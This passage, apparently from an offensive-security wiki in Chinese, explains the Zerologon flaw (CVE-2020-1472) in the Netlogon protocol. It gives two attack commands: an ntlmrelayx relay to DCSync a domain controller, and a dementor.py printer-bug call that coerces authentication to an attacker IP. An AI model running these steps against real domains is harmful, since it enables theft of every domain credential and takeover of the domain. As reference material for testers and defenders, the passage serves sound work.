Netlogon 是一个用于验证登录请求、注册、认证和定位域控制器的服务。MS-NRPC(Netlogon Remote Protocol)是该服务中的一个 RPC 接口认证机制。MS-NRPC 主要用于维护计算机与其域之间的关系,以及域控制器(DC)和域之间的关系。
CVE-2020-1472 的研究发现,MS-NRPC 在与域控制器建立 Netlogon 安全通道连接时,使用了自定义且不安全的加密协议(即在 AES-CFB8 模式下复用了已知的、静态的、全零的初始化向量(IV)),从而导致了权限提升漏洞。
在最初的利用场景(“密码重置”场景)中,有许多关键概念需要理解:
在漏洞公开后不久,Dirk-jan 展示了另一种利用该漏洞的方式。这种技术依赖于认证中继,直接执行 DCSync 操作,因此不会影响服务的连续性。
为了实施该攻击,可以使用 Impacket 的 ntlmrelayx
ntlmrelayx -t dcsync://$domain_controller_2 -smb2support
当中继服务器启动并运行,等待接收流量时,攻击者需要诱使域控制器的身份验证(或来自具有足够权限的其他账户)。实现这一目标的一种方法就是依赖于打印机漏洞
dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1
这种技术可能会破坏域的复制服务,从而导致严重的业务中断,因此不建议运行以下“密码重置”技术。
该利用场景会更改 Active Directory 中域控制器计算机账户的 NT 哈希,但不会更改本地 SAM 数据库中的哈希,因此会在 Active Directory 域中造成一些问题。为了尽量减少破坏,攻击者可以尝试在利用 CVE 漏洞之前,先获取域控制器账户的 NT 哈希,然后在 Active Directory 中将其恢复为原值。